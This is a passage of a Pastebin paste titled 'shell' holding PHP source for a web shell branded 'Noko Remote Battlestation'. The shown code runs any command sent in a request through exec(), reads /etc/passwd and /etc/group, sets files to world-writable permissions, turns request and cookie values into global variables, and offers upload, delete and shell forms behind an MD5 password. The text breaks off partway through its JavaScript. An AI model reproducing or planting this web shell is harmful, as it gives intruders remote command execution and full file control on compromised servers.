Advertisement
Algabe

shell

May 12th, 2013
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 136.41 KB | None | 0 0
  1. <?php
  2. //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"3f7fabbd646df2b6b2be00648c2e1547";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:1:"/";s:17:"cookie_cache_time";i:1096733048;s:7:"version";s:5:"0.9.3";}
  3. /*--------------------------------------------------
  4. */
  5. // +--------------------------------------------------
  6. // | Header and Globals
  7. // +--------------------------------------------------
  8.     header("Pragma: no-cache");
  9.     header("Cache-Control: no-store");
  10.     foreach ($_GET as $key => $val) $$key=htmldecode($val);
  11.     foreach ($_POST as $key => $val) $$key=htmldecode($val);
  12.     foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);
  13.     if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["REMOTE_ADDR"]; //sin proxy
  14.     else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa proxy
  15.     $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
  16.     //$url_info = parse_url($_SERVER["HTTP_REFERER"]);
  17.     $doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"] : ucfirst($_SERVER["DOCUMENT_ROOT"]);
  18.     $script_filename = $doc_root.$_SERVER["PHP_SELF"];
  19.     $path_info = pathinfo($script_filename);
  20. // +--------------------------------------------------
  21. // | Config
  22. // +--------------------------------------------------
  23.     $cfg = new config();
  24.     $cfg->load();
  25.     ini_set("display_errors",1);
  26.     ini_set("error_reporting",$error_reporting);
  27.     if (!isset($dir_atual)){
  28.         $dir_atual = $path_info["dirname"]."/";
  29.         if (!$islinux) $dir_atual = ucfirst($dir_atual);
  30.         @chmod($dir_atual,0777);
  31.     } else $dir_atual = formatpath($dir_atual);
  32.     $is_reachable = (stristr($dir_atual,$doc_root)!==false);
  33.     // Auto Expand Local Path
  34.     if (!isset($expanded_dir_list)){
  35.         $expanded_dir_list = "";
  36.         $mat = explode("/",$path_info["dirname"]);
  37.         for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];
  38.         setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
  39.     }
  40.     if (!isset($fm_root_atual)){
  41.         if (strlen($fm_root)) $fm_root_atual = $fm_root;
  42.         else {
  43.             if (!$islinux) $fm_root_atual = ucfirst($path_info["dirname"]."/");
  44.             else $fm_root_atual = $doc_root."/";
  45.         }
  46.         setcookie("fm_root_atual", $fm_root_atual, 0, "/");
  47.     } elseif (isset($set_fm_root_atual)) {
  48.         if (!$islinux) $fm_root_atual = ucfirst($set_fm_root_atual);
  49.         setcookie("fm_root_atual", $fm_root_atual, 0, "/");
  50.     }
  51.     if (!isset($resolveIDs)){
  52.         setcookie("resolveIDs", 0, $cookie_cache_time, "/");
  53.     } elseif (isset($set_resolveIDs)){
  54.         $resolveIDs=($resolveIDs)?0:1;
  55.         setcookie("resolveIDs", $resolveIDs, $cookie_cache_time, "/");
  56.     }
  57.     if ($resolveIDs){
  58.         exec("cat /etc/passwd",$mat_passwd);
  59.         exec("cat /etc/group",$mat_group);
  60.     }
  61.     $fm_color['Bg'] = "000000";
  62.     $fm_color['Text'] = "006600";
  63.     $fm_color['Link'] = "992929";
  64.     $fm_color['Mark'] = "A7D2E4";
  65.     $fm_color['Dir'] = "CCCCCC";
  66.     $fm_color['File'] = "000000";
  67.     $fm_color['FileFirstCell'] = "FFFFFF";
  68.     foreach($fm_color as $tag=>$color){
  69.         $fm_color[$tag]=strtolower($color);
  70.     }
  71. // +--------------------------------------------------
  72. // | File Manager Actions
  73. // +--------------------------------------------------
  74. if ($loggedon==$auth_pass){
  75.     switch ($frame){
  76.         case 1: break; // Empty Frame
  77.         case 2: frame2(); break;
  78.         case 3: frame3(); break;
  79.         default:
  80.             switch($action){
  81.                 case 1: logout(); break;
  82.                 case 2: config_form(); break;
  83.                 case 3: download(); break;
  84.                 case 4: view(); break;
  85.                 case 5: server_info(); break;
  86.                 case 6: execute(); break;
  87.                 case 7: edit_file_form(); break;
  88.                 case 8: chmod_form(); break;
  89.                 case 9: shell_form(); break;
  90.                 case 10: upload_form(); break;
  91.                 case 11: tools_form(); break;
  92.                 default: frameset();
  93.             }
  94.     }
  95. } else {
  96.     if (isset($senha)) login();
  97.     else form_login();
  98. }
  99. // +--------------------------------------------------
  100. // | Config Class
  101. // +--------------------------------------------------
  102. class config {
  103.     var $data;
  104.     var $filename;
  105.     function config(){
  106.         global $script_filename;
  107.         $this->data = array(
  108.             'lang'=>'en',
  109.             'auth_pass'=>md5(''),
  110.             'quota_mb'=>0,
  111.             'upload_ext_filter'=>array(),
  112.             'download_ext_filter'=>array(),
  113.             'error_reporting'=>'',
  114.             'fm_root'=>'',
  115.             'cookie_cache_time'=>time()+60*60*24*30, // 30 Dias
  116.             'version'=>'0.9.3'
  117.             );
  118.         $data = false;
  119.         $this->filename = $script_filename;
  120.         if (file_exists($this->filename)){
  121.             $mat = file($this->filename);
  122.             $objdata = trim(substr($mat[1],2));
  123.             if (strlen($objdata)) $data = unserialize($objdata);
  124.         }
  125.         if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
  126.         else $this->save();
  127.     }
  128.     function save(){
  129.         $objdata = "<?".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
  130.         if (strlen($objdata)){
  131.             if (file_exists($this->filename)){
  132.                 $mat = file($this->filename);
  133.                 if ($fh = @fopen($this->filename, "w")){
  134.                     @fputs($fh,$objdata,strlen($objdata));
  135.                     for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
  136.                     @fclose($fh);
  137.                 }
  138.             }
  139.         }
  140.     }
  141.     function load(){
  142.         foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
  143.     }
  144. }
  145. // +--------------------------------------------------
  146. // | Internationalization
  147. // +--------------------------------------------------
  148. function et($tag){
  149.     global $lang;
  150.     // English
  151.     $en['Version'] = 'Version';
  152.     $en['DocRoot'] = 'Document Root';
  153.     $en['FLRoot'] = 'File Manager Root';
  154.     $en['Name'] = 'Name';
  155.     $en['And'] = 'and';
  156.     $en['Enter'] = 'Enter';
  157.     $en['Send'] = 'Send';
  158.     $en['Refresh'] = 'Refresh';
  159.     $en['SaveConfig'] = 'Save Configurations';
  160.     $en['SavePass'] = 'Save Password';
  161.     $en['SaveFile'] = 'Save File';
  162.     $en['Save'] = 'Save';
  163.     $en['Leave'] = 'Leave';
  164.     $en['Edit'] = 'Edit';
  165.     $en['View'] = 'View';
  166.     $en['Config'] = 'Config';
  167.     $en['Ren'] = 'Rename';
  168.     $en['Rem'] = 'Delete';
  169.     $en['Compress'] = 'Compress';
  170.     $en['Decompress'] = 'Decompress';
  171.     $en['ResolveIDs'] = 'Resolve IDs';
  172.     $en['Move'] = 'Move';
  173.     $en['Copy'] = 'Copy';
  174.     $en['ServerInfo'] = 'Server Info';
  175.     $en['CreateDir'] = 'Create Directory';
  176.     $en['CreateArq'] = 'Create File';
  177.     $en['ExecCmd'] = 'Execute Command';
  178.     $en['Upload'] = 'Upload';
  179.     $en['UploadEnd'] = 'Upload Finished';
  180.     $en['Perms'] = 'Permissions';
  181.     $en['Owner'] = 'Owner';
  182.     $en['Group'] = 'Group';
  183.     $en['Other'] = 'Other';
  184.     $en['Size'] = 'Size';
  185.     $en['Date'] = 'Date';
  186.     $en['Type'] = 'Type';
  187.     $en['Free'] = 'free';
  188.     $en['Shell'] = 'Shell';
  189.     $en['Read'] = 'Read';
  190.     $en['Write'] = 'Write';
  191.     $en['Exec'] = 'Execute';
  192.     $en['Apply'] = 'Apply';
  193.     $en['StickyBit'] = 'Sticky Bit';
  194.     $en['Pass'] = 'Password';
  195.     $en['Lang'] = 'Language';
  196.     $en['File'] = 'File';
  197.     $en['File_s'] = 'file(s)';
  198.     $en['Dir_s'] = 'directory(s)';
  199.     $en['To'] = 'to';
  200.     $en['Destination'] = 'Destination';
  201.     $en['Configurations'] = 'Configurations';
  202.     $en['JSError'] = 'JavaScript Error';
  203.     $en['NoSel'] = 'There are no selected itens';
  204.     $en['SelDir'] = 'Select the destination directory on the left tree';
  205.     $en['TypeDir'] = 'Enter the directory name';
  206.     $en['TypeArq'] = 'Enter the file name';
  207.     $en['TypeCmd'] = 'Enter the command';
  208.     $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
  209.     $en['RemSel'] = 'DELETE selected itens';
  210.     $en['NoDestDir'] = 'There is no selected destination directory';
  211.     $en['DestEqOrig'] = 'Origin and destination directories are equal';
  212.     $en['InvalidDest'] = 'Destination directory is invalid';
  213.     $en['NoNewPerm'] = 'New permission not set';
  214.     $en['CopyTo'] = 'COPY to';
  215.     $en['MoveTo'] = 'MOVE to';
  216.     $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
  217.     $en['ConfExec'] = 'Confirm EXECUTE';
  218.     $en['ConfRem'] = 'Confirm DELETE';
  219.     $en['EmptyDir'] = 'Empty directory';
  220.     $en['IOError'] = 'I/O Error';
  221.     $en['FileMan'] = 'Noko Remote Battlestation';
  222.     $en['TypePass'] = 'Enter the password';
  223.     $en['InvPass'] = 'Invalid Password';
  224.     $en['ReadDenied'] = 'Read Access Denied';
  225.     $en['FileNotFound'] = 'File not found';
  226.     $en['AutoClose'] = 'Close on Complete';
  227.     $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
  228.     $en['NoCmd'] = 'Error: Command not informed';
  229.     $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
  230.     $en['ConfSaved'] = 'Configurations saved';
  231.     $en['PassSaved'] = 'Password saved';
  232.     $en['FileDirExists'] = 'File or directory already exists';
  233.     $en['NoPhpinfo'] = 'Function phpinfo disabled';
  234.     $en['NoReturn'] = 'no return';
  235.     $en['FileSent'] = 'File sent';
  236.     $en['SpaceLimReached'] = 'Space limit reached';
  237.     $en['InvExt'] = 'Invalid extension';
  238.     $en['FileNoOverw'] = 'File could not be overwritten';
  239.     $en['FileOverw'] = 'File overwritten';
  240.     $en['FileIgnored'] = 'File ignored';
  241.     $en['ChkVer'] = 'Check sf.net for new version';
  242.     $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
  243.     $en['ChkVerNotAvailable'] = 'No new version available. :(';
  244.     $en['ChkVerError'] = 'Connection Error.';
  245.     $en['Website'] = 'Website';
  246.     $en['SendingForm'] = 'Sending files, please wait';
  247.     $en['NoFileSel'] = 'No file selected';
  248.     $en['SelAll'] = 'All';
  249.     $en['SelNone'] = 'None';
  250.     $en['SelInverse'] = 'Inverse';
  251.     $en['Selected_s'] = 'selected';
  252.     $en['Total'] = 'total';
  253.     $en['Partition'] = 'Partition';
  254.     $en['RenderTime'] = 'Time to render this page';
  255.     $en['Seconds'] = 'sec';
  256.     $en['ErrorReport'] = 'Error Reporting';
  257.  
  258.     $lang_ = $$lang;
  259.     if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);
  260.     else return "undefined";
  261. }
  262. // +--------------------------------------------------
  263. // | File System
  264. // +--------------------------------------------------
  265. function total_size($arg) {
  266.  $total = 0;
  267.  if (file_exists($arg)) {
  268.    if (is_dir($arg)) {
  269.      $handle = opendir($arg);
  270.      while($aux = readdir($handle)) {
  271.        if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
  272.      }
  273.      closedir($handle);
  274.    } else $total = filesize($arg);
  275.  }
  276.  return $total;
  277. }
  278. function total_delete($arg) {
  279.  if (file_exists($arg)) {
  280.    chmod($arg,0777);
  281.    if (is_dir($arg)) {
  282.      $handle = opendir($arg);
  283.      while($aux = readdir($handle)) {
  284.        if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
  285.      }
  286.      closedir($handle);
  287.      rmdir($arg);
  288.    } else unlink($arg);
  289.  }
  290. }
  291. function total_copy($orig,$dest) {
  292.  $ok = true;
  293.  if (file_exists($orig)) {
  294.    if (is_dir($orig)) {
  295.      mkdir($dest,0777);
  296.      $handle = opendir($orig);
  297.      while(($aux = readdir($handle))&&($ok)) {
  298.        if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
  299.      }
  300.      closedir($handle);
  301.    } else $ok = copy((string)$orig,(string)$dest);
  302.  }
  303.  return $ok;
  304. }
  305. function total_move($orig,$dest) {
  306.     // Just why doesn't it has a MOVE alias?!
  307.     return rename((string)$orig,(string)$dest);
  308. }
  309. function download(){
  310.     global $dir_atual,$filename;
  311.     $file = $dir_atual.$filename;
  312.     if(file_exists($file)){
  313.         $is_proibido = false;
  314.         foreach($download_ext_filter as $key=>$ext){
  315.             if (eregi($ext,$filename)){
  316.                 $is_proibido = true;
  317.                 break;
  318.             }
  319.         }
  320.         if (!$is_proibido){
  321.             $size = filesize($file);
  322.             header("Content-Type: application/save");
  323.             header("Content-Length: $size");
  324.             header("Content-Disposition: attachment; filename=\"$filename\"");
  325.             header("Content-Transfer-Encoding: binary");
  326.             if ($fh = fopen("$file", "rb")){
  327.                 fpassthru($fh);
  328.                 fclose($fh);
  329.             } else alert(et('ReadDenied').": ".$file);
  330.         } else alert(et('ReadDenied').": ".$file);
  331.     } else alert(et('FileNotFound').": ".$file);
  332. }
  333. function execute(){
  334.     global $cmd;
  335.     header("Content-type: text/plain");
  336.     if (strlen($cmd)){
  337.         echo "# ".$cmd."\n";
  338.         exec($cmd,$mat);
  339.         if (count($mat)) echo trim(implode("\n",$mat));
  340.         else echo "exec(\"$cmd\") ".et('NoReturn')."...";
  341.     } else echo et('NoCmd');
  342. }
  343. function save_upload($temp_file,$filename,$dir_dest) {
  344.     global $upload_ext_filter;
  345.     $filename = remove_acentos($filename);
  346.     $file = $dir_dest.$filename;
  347.     $filesize = filesize($temp_file);
  348.     $is_proibido = false;
  349.     foreach($upload_ext_filter as $key=>$ext){
  350.         if (eregi($ext,$filename)){
  351.             $is_proibido = true;
  352.             break;
  353.         }
  354.     }
  355.     if (!$is_proibido){
  356.         if (!limite($filesize)){
  357.             if (file_exists($file)){
  358.                 if (unlink($file)){
  359.                     if (copy($temp_file,$file)){
  360.                         chmod($file,0777);
  361.                         $out = 6;
  362.                     } else $out = 2;
  363.                 } else $out = 5;
  364.             } else {
  365.                 if (copy($temp_file,$file)){
  366.                     chmod($file,0777);
  367.                     $out = 1;
  368.                 } else $out = 2;
  369.             }
  370.         } else $out = 3;
  371.     } else $out = 4;
  372.     return $out;
  373. }
  374. function zip_extract(){
  375.   global $cmd_arg,$dir_atual,$islinux;
  376.   $zip = zip_open($dir_atual.$cmd_arg);
  377.   if ($zip) {
  378.     while ($zip_entry = zip_read($zip)) {
  379.         if (zip_entry_filesize($zip_entry)) {
  380.             $complete_path = $path.dirname(zip_entry_name($zip_entry));
  381.             $complete_name = $path.zip_entry_name($zip_entry);
  382.             if(!file_exists($complete_path)) {
  383.                 $tmp = '';
  384.                 foreach(explode('/',$complete_path) AS $k) {
  385.                     $tmp .= $k.'/';
  386.                     if(!file_exists($tmp)) {
  387.                         @mkdir($dir_atual.$tmp, 0777);
  388.                     }
  389.                 }
  390.             }
  391.             if (zip_entry_open($zip, $zip_entry, "r")) {
  392.                 if ($fd = fopen($dir_atual.$complete_name, 'w')){
  393.                     fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
  394.                     fclose($fd);
  395.                 } else echo "fopen($dir_atual.$complete_name) error<br>";
  396.                 zip_entry_close($zip_entry);
  397.             } else echo "zip_entry_open($zip,$zip_entry) error<br>";
  398.         }
  399.     }
  400.     zip_close($zip);
  401.   }
  402. }
  403. // +--------------------------------------------------
  404. // | Data Formating
  405. // +--------------------------------------------------
  406. function htmlencode($str){
  407.     return htmlentities($str);
  408. }
  409. // html_entity_decode() replacement
  410. function html_entity_decode_for_php4_compatibility ($string)  {
  411.    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
  412.    $trans_tbl = array_flip ($trans_tbl);
  413.    $ret = strtr ($string, $trans_tbl);
  414.    return  preg_replace('/\&\#([0-9]+)\;/me',
  415.        "chr('\\1')",$ret);
  416. }
  417. function htmldecode($str){
  418.     if (is_string($str)){
  419.        if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));
  420.        else return html_entity_decode($str);
  421.     } else return $str;
  422. }
  423. function rep($x,$y){
  424.   if ($x) {
  425.     $aux = "";
  426.     for ($a=1;$a<=$x;$a++) $aux .= $y;
  427.     return $aux;
  428.   } else return "";
  429. }
  430. function strzero($arg1,$arg2){
  431.     if (strstr($arg1,"-") == false){
  432.         $aux = intval($arg2) - strlen($arg1);
  433.         if ($aux) return rep($aux,"0").$arg1;
  434.         else return $arg1;
  435.     } else {
  436.         return "[$arg1]";
  437.     }
  438. }
  439. function replace_double($sub,$str){
  440.     $out=str_replace($sub.$sub,$sub,$str);
  441.     while ( strlen($out) != strlen($str) ){
  442.         $str=$out;
  443.         $out=str_replace($sub.$sub,$sub,$str);
  444.     }
  445.     return $out;
  446. }
  447. function remove_acentos($str){
  448.     $str = trim($str);
  449.     $str = strtr($str,"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
  450.                       "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
  451.     $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
  452.     return $str;
  453. }
  454. function formatpath($str){
  455.     global $islinux;
  456.     $str = trim($str);
  457.     $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
  458.     $done = false;
  459.     while (!$done) {
  460.         $str2 = str_replace("//","/",$str);
  461.         if (strlen($str) == strlen($str2)) $done = true;
  462.         else $str = $str2;
  463.     }
  464.     $tam = strlen($str);
  465.     if ($tam){
  466.         $last_char = $tam - 1;
  467.         if ($str[$last_char] != "/") $str .= "/";
  468.         if (!$islinux) $str = ucfirst($str);
  469.     }
  470.     return $str;
  471. }
  472. function array_csort() {
  473.   $args = func_get_args();
  474.   $marray = array_shift($args);
  475.   $msortline = "return(array_multisort(";
  476.    foreach ($args as $arg) {
  477.        $i++;
  478.        if (is_string($arg)) {
  479.           foreach ($marray as $row) {
  480.                $sortarr[$i][] = $row[$arg];
  481.            }
  482.        } else {
  483.           $sortarr[$i] = $arg;
  484.        }
  485.        $msortline .= "\$sortarr[".$i."],";
  486.    }
  487.    $msortline .= "\$marray));";
  488.    eval($msortline);
  489.    return $marray;
  490. }
  491. function show_perms( $in_Perms ) {
  492.    $sP = "<b>";
  493.    if($in_Perms & 0x1000) $sP .= 'p';            // FIFO pipe
  494.    elseif($in_Perms & 0x2000) $sP .= 'c';        // Character special
  495.    elseif($in_Perms & 0x4000) $sP .= 'd';        // Directory
  496.    elseif($in_Perms & 0x6000) $sP .= 'b';        // Block special
  497.    elseif($in_Perms & 0x8000) $sP .= '&minus;';    // Regular
  498.    elseif($in_Perms & 0xA000) $sP .= 'l';        // Symbolic Link
  499.    elseif($in_Perms & 0xC000) $sP .= 's';        // Socket
  500.    else $sP .= 'u';                              // UNKNOWN
  501.    $sP .= "</b>";
  502.    // owner - group - others
  503.    $sP .= (($in_Perms & 0x0100) ? 'r' : '&minus;') . (($in_Perms & 0x0080) ? 'w' : '&minus;') . (($in_Perms & 0x0040) ? (($in_Perms & 0x0800) ? 's' : 'x' ) : (($in_Perms & 0x0800) ? 'S' : '&minus;'));
  504.    $sP .= (($in_Perms & 0x0020) ? 'r' : '&minus;') . (($in_Perms & 0x0010) ? 'w' : '&minus;') . (($in_Perms & 0x0008) ? (($in_Perms & 0x0400) ? 's' : 'x' ) : (($in_Perms & 0x0400) ? 'S' : '&minus;'));
  505.    $sP .= (($in_Perms & 0x0004) ? 'r' : '&minus;') . (($in_Perms & 0x0002) ? 'w' : '&minus;') . (($in_Perms & 0x0001) ? (($in_Perms & 0x0200) ? 't' : 'x' ) : (($in_Perms & 0x0200) ? 'T' : '&minus;'));
  506.    return $sP;
  507. }
  508. function formatsize($arg) {
  509.     if ($arg>0){
  510.         $j = 0;
  511.         $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
  512.         while ($arg >= pow(1024,$j)) ++$j;
  513.         return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
  514.     } else return "0 Mb";
  515. }
  516. function getsize($file) {
  517.     return formatsize(filesize($file));
  518. }
  519. function limite($new_filesize=0) {
  520.     global $fm_root_atual;
  521.     global $quota_mb;
  522.     if($quota_mb){
  523.         $total = total_size($fm_root_atual);
  524.         if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
  525.     }
  526.     return false;
  527. }
  528. function getuser ($arg) {
  529.     global $mat_passwd;
  530.     $aux = "x:".trim($arg).":";
  531.     for($x=0;$x<count($mat_passwd);$x++){
  532.         if (strstr($mat_passwd[$x],$aux)){
  533.          $mat = explode(":",$mat_passwd[$x]);
  534.          return $mat[0];
  535.         }
  536.     }
  537.     return $arg;
  538. }
  539. function getgroup ($arg) {
  540.     global $mat_group;
  541.     $aux = "x:".trim($arg).":";
  542.     for($x=0;$x<count($mat_group);$x++){
  543.         if (strstr($mat_group[$x],$aux)){
  544.          $mat = explode(":",$mat_group[$x]);
  545.          return $mat[0];
  546.         }
  547.     }
  548.     return $arg;
  549. }
  550. // +--------------------------------------------------
  551. // | Interface
  552. // +--------------------------------------------------
  553. function html_header($plus=""){
  554.     global $fm_color;
  555. echo "
  556. <html>
  557. <head>
  558. <script language='javascript'>
  559. // (c) Premshree Pillai
  560. // http://www.qiksearch.com
  561. // premshree@hotmail.com
  562. // Use freely as long as this message is intact.
  563. var msg = '...:::: ".et('FileMan')." ';
  564. var pos = 0;
  565. var spacer = ' ... ';
  566. var time_length = 100;
  567. function ScrollTitle()
  568. {
  569. document.title = msg.substring(pos, msg.length) + spacer + msg.substring(0, pos);
  570. pos++;
  571. if (pos > msg.length) pos=0;
  572. window.setTimeout('ScrollTitle()',time_length);
  573. }
  574. ScrollTitle();
  575. </script>
  576. <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">
  577. $plus
  578. </head>
  579. <script language=\"Javascript\" type=\"text/javascript\">
  580. <!--
  581.    function Is(){
  582.        this.appname = navigator.appName;
  583.        this.appversion = navigator.appVersion;
  584.        this.platform = navigator.platform;
  585.        this.useragent = navigator.userAgent.toLowerCase();
  586.        this.ie = ( this.appname == 'Microsoft Internet Explorer' );
  587.        if (( this.useragent.indexOf( 'mac' ) != -1 ) || ( this.platform.indexOf( 'mac' ) != -1 )){
  588.            this.sisop = 'mac';
  589.            
  590.        } else if (( this.useragent.indexOf( 'windows' ) != -1 ) || ( this.platform.indexOf( 'win32' ) != -1 )){
  591.            this.sisop = 'windows';
  592.        } else if (( this.useragent.indexOf( 'inux' ) != -1 ) || ( this.platform.indexOf( 'linux' ) != -1 )){
  593.            this.sisop = 'linux';
  594.        }
  595.    }
  596.    var is = new Is();
  597.    function enterSubmit(keypressEvent,submitFunc){
  598.        var kCode = (is.ie) ? keypressEvent.keyCode : keypressEvent.which
  599.        if( kCode == 13) eval(submitFunc);
  600.    }
  601.    var W = screen.width;
  602.    var H = screen.height;
  603.    var FONTSIZE = 0;
  604.    switch (W){
  605.        case 640:
  606.            FONTSIZE = 8;
  607.        break;
  608.        case 800:
  609.            FONTSIZE = 10;
  610.        break;
  611.        case 1024:
  612.            FONTSIZE = 12;
  613.        break;
  614.        default:
  615.            FONTSIZE = 14;
  616.        break;
  617.    }
  618. ";
  619. echo replace_double(" ",str_replace(chr(13),"",str_replace(chr(10),"","
  620.    document.writeln('
  621.    <style>
  622.    body {
  623.        font-family : Arial;
  624.        font-size: '+FONTSIZE+'px;
  625.        font-weight : normal;
  626.        color: ".$fm_color['Text'].";
  627.        background-color: ".$fm_color['Bg'].";
  628.    }
  629.    table {
  630.        font-family : Arial;
  631.        font-size: '+FONTSIZE+'px;
  632.        font-weight : normal;
  633.        color: ".$fm_color['Text'].";
  634.        cursor: default;
  635.    }
  636.    input {
  637.        font-family : Arial;
  638.        font-size: '+FONTSIZE+'px;
  639.        font-weight : normal;
  640.        color: ".$fm_color['Text'].";
  641.    }
  642.    textarea {
  643.        font-family : Courier;
  644.        font-size: 12px;
  645.        font-weight : normal;
  646.        color: ".$fm_color['Text'].";
  647.    }
  648.    A {
  649.        font-family : Arial;
  650.        font-size : '+FONTSIZE+'px;
  651.        font-weight : bold;
  652.        text-decoration: none;
  653.        color: ".$fm_color['Text'].";
  654.    }
  655.    A:link {
  656.        color: ".$fm_color['Text'].";
  657.    }
  658.    A:visited {
  659.        color: ".$fm_color['Text'].";
  660.    }
  661.    A:hover {
  662.        color: ".$fm_color['Link'].";
  663.    }
  664.    A:active {
  665.        color: ".$fm_color['Text'].";
  666.    }
  667.    </style>
  668.    ');
  669. ")));
  670. echo "
  671. //-->
  672. </script>
  673. ";
  674. }
  675. function reloadframe($ref,$frame_number,$plus=""){
  676.     global $dir_atual,$path_info;
  677.     echo "
  678.    <script language=\"Javascript\" type=\"text/javascript\">
  679.    <!--
  680.        ".$ref.".frame".$frame_number.".location.href='".$path_info["basename"]."?frame=".$frame_number."&dir_atual=".$dir_atual.$plus."';
  681.    //-->
  682.    </script>
  683.    ";
  684. }
  685. function alert($arg){
  686.     echo "
  687.    <script language=\"Javascript\" type=\"text/javascript\">
  688.    <!--
  689.        alert('$arg');
  690.    //-->
  691.    </script>
  692.    ";
  693. }
  694. function tree($dir_antes,$dir_corrente,$indice){
  695.     global $fm_root_atual, $dir_atual, $islinux;
  696.     global $expanded_dir_list;
  697.     $indice++;
  698.     $num_dir = 0;
  699.     $dir_name = str_replace($dir_antes,"",$dir_corrente);
  700.     $dir_corrente = str_replace("//","/",$dir_corrente);
  701.     $is_proibido = false;
  702.     if ($islinux) {
  703.         $proibidos = "/proc#/dev";
  704.         $mat = explode("#",$proibidos);
  705.         foreach($mat as $key => $val){
  706.             if ($dir_corrente == $val){
  707.                 $is_proibido = true;
  708.                 break;
  709.             }
  710.         }
  711.         unset($mat);
  712.     }
  713.     if (!$is_proibido){
  714.         if ($handle = @opendir($dir_corrente)){
  715.             // Permitido
  716.             while ($file = readdir($handle)){
  717.                 if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file"))
  718.                     $mat_dir[] = $file;
  719.             }
  720.             closedir($handle);
  721.             if (count($mat_dir)){
  722.                 sort($mat_dir,SORT_STRING);
  723.                 // Con Sub-dir
  724.                 if ($indice != 0){
  725.                     for ($aux=1;$aux<$indice;$aux++) echo "    ";
  726.                     echo "•";
  727.                 }
  728.                 if ($dir_antes != $dir_corrente){
  729.                     if (strstr($expanded_dir_list,":$dir_corrente/$dir_name")) $op_str = "[–]";
  730.                     else $op_str = "[+]";
  731.                     echo " <a href=\"JavaScript:go_dir('$dir_corrente/$dir_name')\"><b>$op_str</b></a> <a href=\"JavaScript:go('$dir_corrente')\"><b>$dir_name</b></a><br>\n";
  732.                 } else {
  733.                     echo "<a href=\"JavaScript:go('$dir_corrente')\"><b>$fm_root_atual</b></a><br>\n";
  734.                 }
  735.                 for ($x=0;$x<count($mat_dir);$x++){
  736.                     if (($dir_antes == $dir_corrente)||(strstr($expanded_dir_list,":$dir_corrente/$dir_name"))){
  737.                         tree($dir_corrente."/",$dir_corrente."/".$mat_dir[$x],$indice);
  738.                     } else flush();
  739.                 }
  740.             } else {
  741.               // Sin Sub-dir
  742.               if ($dir_antes != $dir_corrente){
  743.                 for ($aux=1;$aux<$indice;$aux++) echo "    ";
  744.                 echo "•";
  745.                 echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$dir_name</b></a><br>\n";
  746.               } else {
  747.                 echo "<a href=\"JavaScript:go('$dir_corrente')\"> <b>$fm_root_atual</b></a><br>\n";
  748.               }
  749.             }
  750.         } else {
  751.             // Negado
  752.             if ($dir_antes != $dir_corrente){
  753.                 for ($aux=1;$aux<$indice;$aux++) echo "    ";
  754.                 echo "•";
  755.                 echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";
  756.             } else {
  757.                 echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";
  758.             }
  759.  
  760.         }
  761.     } else {
  762.         // Prohibido
  763.         if ($dir_antes != $dir_corrente){
  764.             for ($aux=1;$aux<$indice;$aux++) echo "    ";
  765.             echo "•";
  766.             echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$dir_name</b></font></a><br>\n";
  767.         } else {
  768.             echo "<a href=\"JavaScript:go('$dir_corrente')\"><font color=red> <b>$fm_root_atual</b></font></a><br>\n";
  769.         }
  770.     }
  771. }
  772. function show_tree(){
  773.     global $fm_root_atual,$path_info,$setflag,$islinux;
  774.     html_header();
  775.     echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
  776.     echo "
  777.    <script language=\"Javascript\" type=\"text/javascript\">
  778.    <!--
  779.        // Disable text selection
  780.        function disableTextSelection(e){return false}
  781.        function enableTextSelection(){return true}
  782.        if (is.ie) document.onselectstart=new Function('return false')
  783.        else {
  784.            document.onmousedown=disableTextSelection
  785.            document.onclick=enableTextSelection
  786.        }
  787.        var flag = ".(($setflag)?"true":"false")."
  788.        function set_flag(arg) {
  789.            flag = arg;
  790.        }
  791.        function go_dir(arg) {
  792.            var setflag;
